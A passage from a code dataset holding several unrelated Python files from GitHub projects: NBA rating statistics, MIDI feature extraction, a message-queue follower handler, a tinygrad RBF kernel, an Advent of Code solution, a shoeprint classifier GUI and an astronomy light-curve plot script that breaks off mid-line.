adj_def_eff[row['opponent']].append(away_adj_def_eff)\n    for team, adj_def_effs in adj_def_eff.items():\n        adj_def_eff[team] = np.mean(adj_def_effs)\n    return adj_def_eff\n\ndef get_pace(data):\n    paces = {}\n    for idx, row in data.iterrows():\n        pace = row['pace']\n        home = row['team']\n        away = row['opponent']\n        if home not in paces:\n            paces[home] = []\n        if away not in paces:\n            paces[away] = []\n        paces[home].append(pace)\n        paces[away].append(pace)\n    for team, pace_lst in paces.items():\n        paces[team] = np.mean(pace_lst)\n    return paces\n\ndef get_remaining_sos(ratings_df, future_games):\n    # returns a dictionary of remaining strength of schedule for each team\n    remaining_sos = {team: [] for team in ratings_df['team'].unique()}\n    for idx, row in future_games.iterrows():\n        team = row['team']\n        opponent = row['opponent']\n        remaining_sos[team].append(ratings_df[ratings_df['team'] == opponent]['predictive_rating'].values[0])\n        remaining_sos[opponent].append(ratings_df[ratings_df['team'] == team]['predictive_rating'].values[0])\n    for team in remaining_sos:\n        remaining_sos[team] = np.mean(remaining_sos[team])\n    return remaining_sos\n\n","repo_name":"xocelyk/nba","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":6611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73045994660","text":"import logging\nimport os\nfrom sklearn.externals import joblib\nimport multiprocessing as mp\nfrom collections import defaultdict\nfrom itertools import product\nfrom typing import List\nimport mido\nimport numpy as np\nfrom scipy.sparse import dok_matrix, vstack\nfrom midi_ml.tools.util import copy_file_to_gcs\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(\"DEBUG\")\n\n\ndef window_gen(sequence, n):\n    \"\"\"\n    Generator that iterates over a window of size n in a given sequence\n    :param sequence: the sequence we wish to iterate over\n    :param n: the window size of the iteration\n    :return:\n    \"\"\"\n    low = 0\n    high = n\n    for element in sequence:\n        window = sequence[low:high]\n        if len(window) < n:\n            break\n        low += 1\n        high += 1\n        yield tuple(window)\n\n\nclass MidiFeatureCorpus(object):\n    \"\"\"\n    Class to search through a directory for midi files and add them to a sparse_matrix of note tuples\n    \"\"\"\n\n    def __init__(self, path: str, note_window_size: int = 2):\n        self.path = path\n        self.note_window_size_ = note_window_size\n        self.files_ = self._depth_first_midi_search(self.path)\n        self.note_sequence_set = self.initialize_note_sequence_set(note_window_size)\n        self.sparse_matrix = dok_matrix((len(self.files_),\n                                         len(self.note_sequence_set)),\n                                        dtype=np.float32)\n\n    def _depth_first_midi_search(self, path: str) -> List[str]:\n        \"\"\"\n        Perform a recursive depth-first search through the files\n        :param path:\n        :return:\n        \"\"\"\n        files_out = []\n        paths = os.listdir(path)\n        for p in paths:\n            full_subpath = path + \"/\" + p\n            try:\n                # print(full_subpath)\n                os.listdir(full_subpath)\n                dfs_results = self._depth_first_midi_search(full_subpath)\n                for file in dfs_results:\n                    files_out.append(file)\n            except NotADirectoryError:\n                if full_subpath.endswith(\".mid\"):\n                    files_out.append(full_subpath)\n        return files_out\n\n    @staticmethod\n    def initialize_note_sequence_set(window_size: int):\n        notes = [str(i) for i in range(128)]\n        notes_copies = [notes for i in range(window_size)]\n        note_sequences = []\n        for combo in product(*notes_copies):\n            note_sequences.append(combo[0] + \"|\" + combo[1])\n        return note_sequences\n\n    @staticmethod\n    def get_n_note_sequence(midi: mido.MidiFile,\n                            note_window_size: int = 2) -> List[str]:\n        notes = [str(m.note) for m in midi if m.type == \"note_on\"]\n        n_note_sequences = []\n        for note_seq in window_gen(notes, note_window_size):\n            n_note_sequences.append(\"|\".join([note for note in note_seq]))\n        return n_note_sequences\n\n    @staticmethod\n    def sequence_encoder(seq: List[str]) -> defaultdict(float):\n        d = defaultdict(float)\n        for entry in seq:\n            d[entry] += 1.\n        return d\n\n    def _parse_file_as_sequence(self, file_name):\n        parsed_file = mido.MidiFile(file_name)\n        return self.get_n_note_sequence(parsed_file, self.note_window_size_)\n\n    def parse_corpus(self):\n        for i, file in enumerate(self.files_):\n            try:\n                sequence = self._parse_file_as_sequence(file)\n                encoded_sequence = self.sequence_encoder(sequence)\n                for (seq, count) in encoded_sequence.items():\n                    j = self.note_sequence_set.index(seq)\n                    self.sparse_matrix[i, j] = count\n            # we accept generic errors here to avoid any of the possible corruptions in our midi files\n            except:\n                continue\n\n\nclass LabeledCorpusSet(object):\n    \"\"\"\n\n    \"\"\"\n\n    def __init__(self, path: str, note_window_size: int = 2):\n        self.path_ = path\n        self.note_window_size_ = note_window_size\n        self.corpus_name_list_ = os.listdir(self.path_)\n        self.corpus_labels = []\n        self.corpus_list_ = []\n        matrix_shape = (0, len(MidiFeatureCorpus.initialize_note_sequence_set(note_window_size)))\n        self.sparse_matrix = dok_matrix(matrix_shape)\n        self.parsed_ = False\n\n    @staticmethod\n    def _parse_corpus(path: str, corpus_name: str, note_window_size: int = 2):\n        logger.info(\"Parsing %s\" % path + corpus_name)\n        print(\"reading from {}\".format(path + corpus_name))\n        corpus = MidiFeatureCorpus(path + corpus_name, note_window_size)\n        corpus.parse_corpus()\n        corpus_labels = [corpus_name for label in range(corpus.sparse_matrix.get_shape()[0])]\n        return (corpus.sparse_matrix, corpus_labels)\n\n    def parse_corpus_set_parallel(self):\n        \"\"\"\n        Parse each corpus on a separate core\n        :return:\n        \"\"\"\n        pool = mp.Pool(processes=os.cpu_count())\n        paths_names_and_window_sizes = []\n        for name in self.corpus_name_list_:\n            paths_names_and_window_sizes.append((self.path_, name, self.note_window_size_))\n        mp_out = pool.starmap(self._parse_corpus, paths_names_and_window_sizes)\n        matrix_set = []\n        for corpus_matrix, labels in mp_out:\n            matrix_set.append(corpus_matrix)\n            self.corpus_labels.append(labels)\n        logger.info(\"Finished parsing corpus set\")\n        self.sparse_matrix = vstack(matrix_set)\n        self.parsed_ = True\n\n    def parse_corpus_set(self):\n        \"\"\"\n        Iterates through the files in the corpus. Will ignore directory structure within\n        a corpus (e.g. if cantatas and sonatas are in different files)\n        \"\"\"\n        matrix_set = []\n        for corpus_name in self.corpus_name_list_:\n            file_path = self.path_ + corpus_name\n            logger.info(\"reading from {}\".format(file_path))\n            print(\"reading from {}\".format(file_path))\n            corpus = MidiFeatureCorpus(file_path, self.note_window_size_)\n            corpus.parse_corpus()\n            self.corpus_list_.append(corpus)\n            for label in range(corpus.sparse_matrix.shape[0]):\n                self.corpus_labels.append(corpus_name)\n            matrix_set.append(corpus.sparse_matrix)\n        self.sparse_matrix = vstack(matrix_set)\n        self.parsed_ = True\n\n\ndef main():\n    logger.info(\"Reading corpus\")\n    labeled_corpus = LabeledCorpusSet(os.environ[\"DATA_IN_LOC\"] + \"/\")\n    labeled_corpus.parse_corpus_set()\n    logger.info(\"Dumping corpus to disk\")\n    joblib.dump(labeled_corpus.sparse_matrix.todense().A, os.environ[\"DATA_OUT_LOC\"] + \"/sparse_matrix\")\n    joblib.dump(labeled_corpus.corpus_labels, os.environ[\"DATA_OUT_LOC\"] + \"/labels\")\n    logger.info(\"Copying files to GCS\")\n    print(labeled_corpus.sparse_matrix.todense().A.shape)\n    for file in os.listdir(os.environ[\"DATA_OUT_LOC\"]):\n        copy_file_to_gcs(bucket_name=\"midi-ml\",\n                         filename=os.environ[\"DATA_OUT_LOC\"] + file,\n                         destination_path=\"parsed_corpus/\" + file)\n","repo_name":"flylo/midi-ml","sub_path":"midi_ml/pipelines/midi_reads.py","file_name":"midi_reads.py","file_ext":"py","file_size_in_byte":7069,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"1472009116","text":"import fcntl\nimport logging\nimport os\n\nfrom connection.ConnectionManager import ConnectionManager\nfrom messages.ActionMessage import FollowUserPetition, FollowHashtagPetition\nfrom messages.Buzz import Buzz\nfrom listener.GenericListener import GenericListener\nfrom utils.MessageUtils import MessageUtils\n\nINCOMING_QUEUE_IP = 'localhost'\nINCOMING_QUEUE_PORT = 5672\nOUTGOING_QUEUE_IP = 'localhost'\nOUTGOING_QUEUE_PORT = 5672\nINCOMING_QUEUE_NAME = 'dispatcher-registrationhandler'\nREGISTRATION_FOLDER = './reg'\nUSERS_INFO_FOLDER = './reg/users_info'\n\n\n\n'''Persists registrations to hashtags and other users'''\nclass UserRegistrationHandler(GenericListener):\n\n\n\n    def __init__(self):\n\n        GenericListener.__init__(self,INCOMING_QUEUE_IP,INCOMING_QUEUE_PORT)\n        self.outgoingConnectionManager = ConnectionManager(OUTGOING_QUEUE_IP,OUTGOING_QUEUE_PORT)\n        self.incomingConnectionManager.declareQueue(INCOMING_QUEUE_NAME)\n        self.initializeUserQueues()\n\n    def initializeUserQueues(self):\n        try:\n            for user in os.listdir(USERS_INFO_FOLDER):\n                self.incomingConnectionManager.declareQueue(user)\n        except:\n            logging.error(\"Folder path not configured for user registration\")\n\n\n    def updateUserRegistrations(self,user,registrationTarget):\n        filename = USERS_INFO_FOLDER + '/' + user\n        try:\n            file = open(filename, 'a+r')\n            fcntl.flock(file, fcntl.LOCK_EX) #Lock file for writing\n        except IOError:\n            logging.error(\"Folder path not configured for user registration\")\n        for line in file:\n            if (line.strip() == registrationTarget):\n                fcntl.flock(file, fcntl.LOCK_UN) #unlock file\n                file.close()\n                return False  # User was already registered in target\n        file.write(registrationTarget + '\\n')\n        fcntl.flock(file, fcntl.LOCK_UN) #unlock file\n        file.close()\n        return True\n\n\n\n    '''The registration target can be a Hashtag or another User'''\n    def register(self, user, registrationTarget):\n        shouldUpdate = self.updateUserRegistrations(user,registrationTarget)\n        if(shouldUpdate):\n            filename = REGISTRATION_FOLDER + '/' + registrationTarget\n            file = open(filename, 'a+r')\n            fcntl.flock(file, fcntl.LOCK_EX) #lock file for writing\n            file.write(user + '\\n')\n            fcntl.flock(file, fcntl.LOCK_UN)\n            file.close()\n\n\n    def getFollowers(self,target):\n        filename = REGISTRATION_FOLDER + '/' + target\n        followers = []\n        try:\n            file = open(filename,'r')\n            fcntl.flock(file, fcntl.LOCK_SH)\n            for line in file:\n                followers.append(line.strip())\n        except IOError:\n            #If here is because target does not have any follower so nothing should be done\n            return followers\n        fcntl.flock(file, fcntl.LOCK_UN)\n        file.close()\n        return followers\n\n\n    def notifyFollowers(self,buzz):\n        hashtags = buzz.getHashtags()\n        buzzer = buzz.user\n        followers = []\n        followers += self.getFollowers(buzzer)\n        for hashtag in hashtags:\n            followers += self.getFollowers(hashtag)\n        for follower in list(set(followers)):\n            if(follower != buzzer): #to avoid sending message to it's own\n                self.outgoingConnectionManager.writeToQueue(follower, buzz)\n\n\n    def onMessageReceived(self, channel, method, properties, body):\n\n        message = MessageUtils.deserialize(body)\n        if(isinstance(message, FollowUserPetition)):\n            logging.info(\"processing follow user petition\")\n            self.register(message.user,message.otherUser)\n        elif(isinstance(message, FollowHashtagPetition)):\n            logging.info(\"processing follow hashtag petition\")\n            self.register(message.user,message.hashtag)\n        elif(isinstance(message, Buzz)):\n            logging.info(\"processed buzz\")\n            self.notifyFollowers(message)\n        self.incomingConnectionManager.ack(method.delivery_tag)\n        if not self.keepRunning.get():\n            self.stop()\n\n\n\n    def _start(self):\n        self.incomingConnectionManager.addTimeout(self.onTimeout)\n        self.incomingConnectionManager.listenToQueue(INCOMING_QUEUE_NAME, self.onMessageReceived)\n\n\n\n\n\n","repo_name":"lucianoRM/buzzer","sub_path":"listener/UserRegistrationHandler.py","file_name":"UserRegistrationHandler.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35192057580","text":"from tinygrad.tensor import Tensor\nfrom tinygrad.tensor import Function\nfrom .kernel import Kernel\nimport pdb\n\nclass RBFFunction(Function):\n    def __init__(self, x1, x2):\n        self.x1 = x1\n        self.x2 = x2\n\n    def forward(self, log_lengthscale):\n        n, d = self.x1.shape\n        m, _ = self.x2.shape\n\n        res = Tensor.zeros(m, n)\n        res = res.add(self.x1.matmul(self.x2.transpose()).mul(2)) # res = 2 x1 @ x2^T\n\n        x1_squared = self.x1.reshape(n, 1, d).matmul(self.x1.reshape(n, d, 1))\n        x1_squared = x1_squared.reshape(n, 1).expand(n, m)\n        x2_squared = self.x2.reshape(m, 1, d).matmul(self.x2.reshape(m, d, 1))\n        x2_squared = x2_squared.reshape(1, m).expand(n, m)\n        res = res.add(x1_squared.mul(-1)).add(x2_squared.mul(-1)) # res = -(x - z)^2\n\n        res = res.div(log_lengthscale.exp()) # res = -(x - z)^2 / lengthscale\n        res = res.exp()\n\n        self.kernel = res\n        return res\n    \n    def backward(self, grad_output):\n        kernel = self.kernel\n        grad = kernel.log().mul(-1).mul(kernel)\n        grad = grad.mul(grad_output.transpose())\n        return Tensor.sum(grad)\n\n\nclass RBFKernel(Kernel):\n    def __init__(self):\n        self.log_lengthscale = Tensor.zeros(1, 1)\n\n    def forward(self, x1, x2):\n        n, _ = x1.shape\n        m, _ = x2.shape\n        self.log_lengthscale.expand(n, m)\n        return RBFFunction(x1, x2)\n","repo_name":"abeleinin/tinygp","sub_path":"tinygp/kernels/rbf_kernel.py","file_name":"rbf_kernel.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70419767462","text":"def get_lines(path):\n    with open(path, 'r', encoding='utf-8-sig') as f:\n        return f.read().splitlines()\n    \n\ndef part1(lines):\n    def get_error_score(illegal_chars):\n        score = {\n            ')': 3,\n            ']': 57,\n            '}': 1197,\n            '>': 25137,\n            }\n        return sum([sc for sc in [score[c] for c in illegal_chars]])\n    \n    openers = ['(', '[', '{', '<']\n    key = {\n        '(': 1,\n        ')': 1,\n        '[': 2,\n        ']': 2,\n        '{': 3,\n        '}': 3,\n        '<': 4,\n        '>': 4,\n    }\n    illegal_chars = list()\n    for line in lines:\n        openers_encountered = list()\n        for char in line:\n            if char in openers:\n                openers_encountered.append(char)\n            elif key[openers_encountered[-1]] == key[char]:\n                openers_encountered.pop()\n            else:\n                illegal_chars.append(char)\n                break\n                \n    return get_error_score(illegal_chars)\n\n\ndef part2(lines: list):\n    def get_score(openers: list):\n        points = {\n            '(': 1,\n            '[': 2,\n            '{': 3,\n            '<': 4,\n        }\n        score = 0\n        openers.reverse()\n        for o in openers:\n            score *= 5\n            score += points[o]\n        return score\n            \n            \n    openers = ['(', '[', '{', '<']\n    key = {\n        '(': 1,\n        ')': 1,\n        '[': 2,\n        ']': 2,\n        '{': 3,\n        '}': 3,\n        '<': 4,\n        '>': 4,\n    }\n    corrupted = False\n    scores = list()\n    for line in lines.copy():\n        openers_encountered = list()\n        for char in line:\n            if char in openers:\n                openers_encountered.append(char)\n            elif key[openers_encountered[-1]] == key[char]:\n                openers_encountered.pop()\n            else:\n                corrupted = True\n                break\n        if not corrupted:\n            scores.append(get_score(openers_encountered))\n        else:\n            corrupted = False\n    \n    return sorted(scores)[(len(scores)-1)//2]\n\n\npath = '10/10_input.txt'\nlines = get_lines(path)\n\nprint(part1(lines))\nprint(part2(lines))\n","repo_name":"carlospabe/adventofcode2021","sub_path":"10/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17218709634","text":"from footid1 import *\nfrom crop_data import crop2top, crop2bottom\nfrom tkinter import *\nimport matplotlib.pyplot as plt\nimport tkinter.filedialog\nfrom PIL import Image\nimport tensorflow as tf\nimport numpy as np\nfrom scipy import ndimage\nimport scipy\nimport cv2\nimport os\n\nroot_ = 'C:\\\\Users\\\\Neo\\\\Desktop\\\\source_test'\ntest = 'test.jpg'\nstandard_inner_data_path = 'C:\\\\Users\\\\Neo\\\\Desktop\\\\source_300_train'\n\n\ndef main(path):\n    show_raw_data(path)\n    show_4_scale(path)\n    flag = predict(test)\n    if flag is not False:\n        status.set(1)\n        result.set('结果是：'+flag)\n        origin.set(flag)\n    else:\n        result.set('结果是：集外未知类别')\n\n\n# 从GUI窗口中获取待检测图片路径\ndef save_path():\n    filename = tkinter.filedialog.askopenfilename()\n    if filename != '':\n        lb.config(text=\"您选择的文件是：\" + filename)\n        main(filename)\n    else:\n        lb.config(text=\"您没有选择任何文件\")\n    return\n\n\n# 显示输入图像\ndef show_raw_data(img_path):\n    img = cv2.imread(img_path)\n    if img.shape[0] < 500:\n        shapeFlag.set(0)\n    else:\n        shapeFlag.set(1)\n    print(img.shape)\n    cv2.namedWindow('RawImage')\n    cv2.imshow('RawImage', img)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n\n\ndef resize(img_path):\n    image = np.array(ndimage.imread(img_path, flatten=False))\n    image = scipy.misc.imresize(image, size=(64, 32))\n    return image\n\n\n# 用于展示四个尺度\ndef show_4_scale(img_path):\n    # 全脚\n    full_show = resize(img_path)\n    # 脚掌\n    top = crop2top(img_path)\n    top_show = np.asarray(top)\n    top_show = scipy.misc.imresize(top_show, size=(64, 32))\n    # 脚跟\n    bottom = crop2bottom(img_path)\n    bottom_show = np.asarray(bottom)\n    bottom_show = scipy.misc.imresize(bottom_show, size=(64, 32))\n    # 脚掌中心\n    center = get_center(top)\n    center_show = np.asarray(center)\n    center_show = scipy.misc.imresize(center_show, size=(64, 32))\n    # 合并后在一个窗口显示\n    img_show = np.hstack([full_show, top_show, bottom_show, center_show])\n    cv2.namedWindow('Multi-scale')\n    cv2.imshow('Multi-scale', img_show)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n    pic_name = 'test.jpg'\n    if os.path.exists(pic_name):\n        os.remove(pic_name)\n    cv2.imwrite(pic_name, full_show)\n\n\n# 获取脚掌中心\ndef get_center(im):\n    x_size, y_size = im.size\n    start_point_xy = x_size / 4\n    end_point_xy = x_size / 4 + x_size / 2\n    start_point_yx = y_size / 4\n    end_point_yx = y_size / 4 + y_size / 2\n    box = (start_point_xy, start_point_yx, end_point_xy, end_point_yx)\n    new_im = im.crop(box)\n    return new_im\n\n\n# 计算指定文件夹内所有图片的特征\ndef generate_feature_from_folder(folder_path):\n    feature_list = []\n    with tf.Session() as sess:\n        foot_saver.restore(sess, 'display_checkpoint\\\\30000.ckpt')\n        for img in os.listdir(folder_path):\n            img_list = []\n            temp_dir = os.path.join(folder_path, img)\n            source_img = cv2.imread(temp_dir)\n            img_list.append(source_img)\n            source_img = np.array(img_list)\n            feature = sess.run(h5, {h0: source_img})\n            feature_list.append(feature)\n        return feature_list\n\n\n# 预测结果\ndef predict(img_path):\n    img = cv2.imread(img_path)\n    img_list = []\n    img_list.append(img)\n    img = np.array(img_list)\n    # 目标文件夹\n    result_folder = ''\n    # 测试图特征\n    # test_feature = np.array([])\n    with tf.Session() as sess:\n        foot_saver.restore(sess, 'display_checkpoint\\\\30000.ckpt')\n        h_test_predict = sess.run(tf.nn.softmax(y), {h0: img})\n        class_ = tf.argmax(h_test_predict, 1)\n        class_ = sess.run(class_)\n        # 加载数据标签的对应文件输出类别\n        lis = np.load('display_data_label_npy\\\\data_label.npy')\n        for i in range(lis.shape[0]):\n            if lis[i, 1] == str(class_[0]):\n                result_folder = lis[i, 0]\n                break\n        sess.close()\n    # 加载源文件\n    source = np.load('display_std_similarity\\\\std_similarity.npy')\n    target = ''\n    for row in range(source.shape[0]):\n        if source[row, 0] == result_folder:\n            target = source[row, 1]\n    # 阈值\n    t = float(0.90)\n    # print(target)\n    if float(target) < t:\n        print('预测为集外')\n        return False\n    else:\n        if shapeFlag.get() == 0:\n            print('预测为集外')\n            return False\n        else:\n            print('预测为集内')\n            print('预测类别为：' + result_folder)\n            return result_folder\n\n\n# 显示预测结果对应文件夹中所有图片\ndef show_result(path):\n    _path = os.path.join(root_, path)\n    row = 1\n    column = 0\n    count = 0\n    for img in os.listdir(_path):\n        length = len(os.listdir(_path))\n        if length < 6:\n            if img == rawName.get():\n                continue\n            img_path = os.path.join(_path, img)\n            img_ = Image.open(img_path)\n            column += 1\n            plt.subplot(row, length, column)\n            plt.imshow(img_)\n            plt.xticks([])\n            plt.yticks([])\n            count += 1\n        else:\n            if img == rawName.get():\n                continue\n            if count == 6:\n                break\n            column += 1\n            img_path = os.path.join(_path, img)\n            img_ = Image.open(img_path)\n            plt.subplot(row, 6, column)\n            plt.imshow(img_)\n            plt.xticks([])\n            plt.yticks([])\n            count += 1\n    plt.show()\n\n\n# 选择测试图片并调用主函数\ndef chooseFile():\n    filename = tkinter.filedialog.askopenfilename(title='选择文件')\n    names = filename.split('/')\n    rawName.set(names[len(names)-1])\n    e.set(filename)\n    rawPath.set(filename)\n\n\ndef show_raw(path):\n    img = Image.open(path)\n    plt.figure('Image')\n    plt.imshow(img)\n    plt.axis('off')\n    plt.title('Original Shoeprint')\n    plt.show()\n\n\nif __name__ == '__main__':\n    root = Tk()\n    root.title('鞋印图像开集分类')\n\n    lb = Label(root, text='请选择待测试图像')\n    lb.pack()\n\n    # 设置变量\n    e = StringVar()\n    result = StringVar()\n    status = IntVar()\n    origin = StringVar()\n    rawPath = StringVar()\n    rawName = StringVar()\n    shapeFlag = IntVar()\n\n    result.set('结果是：待检测')\n    e_entry = Entry(root, width=68, textvariable=e)\n    e_entry.pack()\n\n    fm1 = Frame(root)\n    submit_button = Button(fm1, text=\"选择\", command=chooseFile, bg='yellow')\n    submit_button.pack(side=LEFT)\n    classify_button = Button(fm1, text=\"分类\", command=lambda: main(e.get()), bg='red')\n    classify_button.pack(side=LEFT)\n    show_button = Button(fm1, text=\"原始类别库\", command=lambda: show_result(origin.get()))\n    show_button.pack(side=LEFT)\n    raw_button = Button(fm1, text=\"显示测试图\", command=lambda: show_raw(rawPath.get()), bg='gray')\n    raw_button.pack(side=LEFT)\n    fm1.pack(side=LEFT, padx=10)\n\n    fm2 = Frame(root)\n    result_label = Label(fm2, textvariable=result, bg='green')\n    result_label.pack()\n    fm2.pack(side=RIGHT, padx=10)\n\n    root.mainloop()","repo_name":"wang-qiuqiu/footID","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":7199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43276212272","text":"import astropy.io.ascii as ascii\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport sys\nfrom matplotlib.lines import Line2D\n\nfilelist = ['B-phot-clean.csv','V-phot-clean.csv','R-phot-clean.csv']\n\nobsname=['DOAO','LOAO','SOAO','30INCH','CCA250','Maidanak']\nfiltername=['B','V','R']\naperture=['auto','3\"','5\"','7\"','psf']\n\nvandykdat=ascii.read('vandykphot.dat')\n\nBdat=ascii.read(filelist[0])\nVdat=ascii.read(filelist[1])\nRdat=ascii.read(filelist[2])\n\ngalactic_extinction=[0.077,0.058,0.046] # BVR, I = 0.032 from NED, SF11\n\n'''\n # column names\n['filename', 'dateobs', 'jd',\n 'zpauto', 'zpautoerr',\n 'zpap3', 'zpap3err',\n 'zpap5', 'zpap5err',\n 'zpap7', 'zpap7err',\n 'zppsf', 'zppsferr',\n 'limit3', 'limit5', 'limit7',\n 'starnum', 'note',\n 'automag', 'automagerr',\n 'ap3mag', 'ap3magerr',\n 'ap5mag', 'ap5magerr',\n 'ap7mag', 'ap7magerr',\n 'psfmag', 'psfmagerr',\n 'obs']\n\n['MJD', 'B', 'Berr',\n 'V', 'Verr',\n 'R', 'Rerr',\n 'unfilterd', 'unfilterderr',\n 'I', 'Ierr', 'source']\n\n'''\n\n# Van Dyk light curve\ndat=vandykdat # Van Dyk et al 2018\nplt.errorbar(dat['MJD'], dat['B'],dat['Berr'],fmt='b.',alpha=0.5)\nplt.errorbar(dat['MJD'], dat['V'],dat['Verr'],fmt='g.',alpha=0.5)\nplt.errorbar(dat['MJD'], dat['R'],dat['Rerr'],fmt='r.',alpha=0.5)\n#plt.xlim()\nplt.ylim(21.5,14)\nplt.xlim(57880,58150)\nplt.xlabel('MJD')\nplt.ylabel('Mag (VEGA)')\nplt.legend(filtername)# ,'Van Dyk +2018')\n\n#Bdat\nindexreal, indexnone = np.where(Bdat['note']=='real'), np.where(Bdat['note']=='none')\nBdatreal, Bdatnone = Bdat[indexreal], Bdat[indexnone]\nindexDOAO=np.where(Bdatreal['obs']=='DOAO')\nindexLOAO=np.where(Bdatreal['obs']=='LOAO')\nindexSOAO=np.where(Bdatreal['obs']=='SOAO')\nindex30inch=np.where(Bdatreal['obs']=='30inch')\nindexCCA250=np.where(Bdatreal['obs']=='CCA250')\nindexMaidanak=np.where(Bdatreal['obs']=='Maidanak')\n\nplt.errorbar(Bdatreal['jd'][indexDOAO]-2400000.5,     Bdatreal['psfmag'][indexDOAO]+2,     Bdatreal['psfmagerr'][indexDOAO],fmt='bo', fillstyle='none')\nplt.errorbar(Bdatreal['jd'][indexLOAO]-2400000.5,     Bdatreal['psfmag'][indexLOAO]+2,     Bdatreal['psfmagerr'][indexLOAO],fmt='b.')\nplt.errorbar(Bdatreal['jd'][indexSOAO]-2400000.5,     Bdatreal['psfmag'][indexSOAO]+2,     Bdatreal['psfmagerr'][indexSOAO],    fmt='b^')\nplt.errorbar(Bdatreal['jd'][index30inch]-2400000.5,   Bdatreal['psfmag'][index30inch]+2,   Bdatreal['psfmagerr'][index30inch],  fmt='bs', fillstyle='none')\nplt.errorbar(Bdatreal['jd'][indexCCA250]-2400000.5,   Bdatreal['psfmag'][indexCCA250]+2,   Bdatreal['psfmagerr'][indexCCA250],  fmt='b+')\nplt.errorbar(Bdatreal['jd'][indexMaidanak]-2400000.5, Bdatreal['psfmag'][indexMaidanak]+2, Bdatreal['psfmagerr'][indexMaidanak],fmt='b*')\n\n#plt.errorbar(Bdat['jd'][indexnone]-2400000.5, Bdat['limit7'][indexnone], Bdat['zpap7err'][indexnone],lolims=Bdat['zpap7err'][indexnone])\n\n### Bolometric Luminosity \ngalactic_extinction=[0.077,0.058,0.046]\nc0,c1,c2,rms = -0.083,-0.139,-0.691,0.109 # Lyman +2014 B-V 0.0~1.3 range Bolometrice correction term\n# BC_B= M_bol - M_B\n# BC__B= c0 + c1*(B-V) + c2 * ((B-V)**2)\n# (BVcolor-0.019), B-V(galactic extinction corrected) = B-0.077 - V-0.058 = BVcolor-0.019\nBolCorB= c0 + c1*((BVcolor['BVcolor']-0.019)) + c2 * (((BVcolor['BVcolor']-0.019))**2)\n\n\n\n\n\n#Vdat\nindexreal, indexnone = np.where(Vdat['note']=='real'), np.where(Vdat['note']=='none')\nVdatreal, Vdatnone = Vdat[indexreal], Vdat[indexnone]\n\nindexDOAO=np.where(Vdatreal['obs']=='DOAO')\nindexLOAO=np.where(Vdatreal['obs']=='LOAO')\nindexSOAO=np.where(Vdatreal['obs']=='SOAO')\nindex30inch=np.where(Vdatreal['obs']=='30inch')\nindexCCA250=np.where(Vdatreal['obs']=='CCA250')\nindexMaidanak=np.where(Vdatreal['obs']=='Maidanak')\n\nplt.errorbar(Vdatreal['jd'][indexDOAO]-2400000.5,     Vdatreal['psfmag'][indexDOAO]+1,     Vdatreal['psfmagerr'][indexDOAO],    fmt='go', fillstyle='none')\nplt.errorbar(Vdatreal['jd'][indexLOAO]-2400000.5,     Vdatreal['psfmag'][indexLOAO]+1,     Vdatreal['psfmagerr'][indexLOAO],    fmt='g.')\nplt.errorbar(Vdatreal['jd'][indexSOAO]-2400000.5,     Vdatreal['psfmag'][indexSOAO]+1,     Vdatreal['psfmagerr'][indexSOAO],    fmt='g^')\nplt.errorbar(Vdatreal['jd'][index30inch]-2400000.5,   Vdatreal['psfmag'][index30inch]+1,   Vdatreal['psfmagerr'][index30inch],  fmt='gs', fillstyle='none')\nplt.errorbar(Vdatreal['jd'][indexCCA250]-2400000.5,   Vdatreal['psfmag'][indexCCA250]+1,   Vdatreal['psfmagerr'][indexCCA250],  fmt='g+')\nplt.errorbar(Vdatreal['jd'][indexMaidanak]-2400000.5, Vdatreal['psfmag'][indexMaidanak]+1, Vdatreal['psfmagerr'][indexMaidanak],fmt='g*')\n\n#Rdat\nindexreal, indexnone = np.where(Rdat['note']=='real'), np.where(Rdat['note']=='none')\nRdatreal, Rdatnone = Rdat[indexreal], Rdat[indexnone]\n\nindexDOAO=np.where(Rdatreal['obs']=='DOAO')\nindexLOAO=np.where(Rdatreal['obs']=='LOAO')\nindexSOAO=np.where(Rdatreal['obs']=='SOAO')\nindex30inch=np.where(Rdatreal['obs']=='30inch')\nindexCCA250=np.where(Rdatreal['obs']=='CCA250')\nindexMaidanak=np.where(Rdatreal['obs']=='Maidanak')\n\nplt.errorbar(Rdatreal['jd'][indexDOAO]-2400000.5,     Rdatreal['psfmag'][indexDOAO],     Rdatreal['psfmagerr'][indexDOAO],    fmt='ro', fillstyle='none')\nplt.errorbar(Rdatreal['jd'][indexLOAO]-2400000.5,     Rdatreal['psfmag'][indexLOAO],     Rdatreal['psfmagerr'][indexLOAO],    fmt='r.')\nplt.errorbar(Rdatreal['jd'][indexSOAO]-2400000.5,     Rdatreal['psfmag'][indexSOAO],     Rdatreal['psfmagerr'][indexSOAO],    fmt='r^')\nplt.errorbar(Rdatreal['jd'][index30inch]-2400000.5,   Rdatreal['psfmag'][index30inch],   Rdatreal['psfmagerr'][index30inch],  fmt='rs', fillstyle='none')\nplt.errorbar(Rdatreal['jd'][indexCCA250]-2400000.5,   Rdatreal['psfmag'][indexCCA250],   Rdatreal['psfmagerr'][indexCCA250],  fmt='r+')\nplt.errorbar(Rdatreal['jd'][indexMaidanak]-2400000.5, Rdatreal['psfmag'][indexMaidanak], Rdatreal['psfmagerr'][indexMaidanak],fmt='r*')\n\n\n\n\nlegend_elements = [Line2D([], [], marker='o', color='k', label='DOAO',ls='none', fillstyle='none'),\n\t\t\t\t   Line2D([], [], marker='.', color='k', label='LOAO',ls='none'),\n\t\t\t\t   Line2D([], [], marker='^', color='k', 